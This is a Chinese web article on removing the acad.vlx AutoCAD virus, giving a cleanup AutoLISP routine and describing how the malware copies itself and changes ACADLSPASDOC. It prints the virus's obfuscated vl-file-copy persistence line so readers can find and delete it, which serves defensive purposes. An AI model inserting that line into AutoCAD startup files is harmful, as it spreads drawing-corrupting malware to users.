您当前的位置:五五电子网电子知识电工技术电工基础CAD定制Acad.vlx 病毒清除 正文
CAD定制Acad.vlx 病毒清除

CAD定制Acad.vlx 病毒清除

点击数:7764 次   录入时间:03-04 11:59:12   整理:http://www.55dianzi.com   电工基础

俗话说:树大招风。作为CAD不可或缺的工具,AutoCAD也有自己的特定病毒粉丝,目前已经有国内的杀毒软件可以清除一些CAD病毒,不过也会有误杀现象。几天前就碰到这么一次,安装软件时候报缺少LSP文件,最后检查发现,原来是杀毒软件在复制文件的时候把LSP当作病毒给干掉了。

个解决方法是针对acad.vlx的一个恶意文件英语原版的解决方案请看这里:

AutoCAD系列产品的用户报告了一个名为acad.vlx的恶意文件,该文件会导致绘图损坏。

解决方法

这实际上不是Autodesk提供的AutoCAD文件。当AutoCAD载入acad.vlx恶意文件时,会使绘图损坏,进而导致在您保存并重新打开工程图时弹出“缺少语言包”( Missing Language Pack )对话框。

 acad.vlx文件会在Help文件夹下面创建一个副本(例如,C:\Program Files\AutoCAD 2010\Help\logo.gif)。其它多个文件也会被修改,同时ACADLSPASDOC系统变量的值会被改为1,这将允许acad.vlx文件载入到其它打开的工程图中,导致工程图损坏。

下述清理流程将在AutoCAD试图加载acad.vlx 文件之前发现该文件并将其删除,防止病毒的传播。

为了避免其它文件的损坏

您必须以Microsoft® Windows® 操作系统的系统管理员身份完成本流程。

1.    在您的产品安装目录中,找到Support 文件夹(例如,C:\Program Files\AutoCAD 2010\Support)。

2.   Support文件夹内,双击acad20xx.lsp文件(例如,acad2010.lsp文件)。在文件中加入下面的代码。 AutoCAD将发现并删除acad.vlxlogo.gif 文件。

(defun cleanvirus( / lspfiles lspfile x)
  (setq lspfiles '("acad.vlx" "logo.gif"))
  (foreach lspfile lspfiles
    (while (setq x (findfile lspfile))
      (progn
        (vl-file-delete x)
        (princ "\nDeleted file ")
        (princ x)
      );progn
    );while
  );foreach
)
(cleanvirus)

3.    打开下面的所有文件:

   C:\Program Files\AutoCAD 20xx\Express\acetauto.lsp

   C:\Program Files\AutoCAD 20xx\Support\ai_utils.lsp

   ROAMABLEROOTPREFIX\Support\acad.mnl

  
备注ROAMABLEROOTPREFIX替换为ROAMABLEROOTPREFIX 系统变量的返回值。

4.    如果出现下列代码,请删除:

(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))

5.    保存所有文件。


本文关键字:暂无联系方式电工基础电工技术 - 电工基础

《CAD定制Acad.vlx 病毒清除》相关文章>>>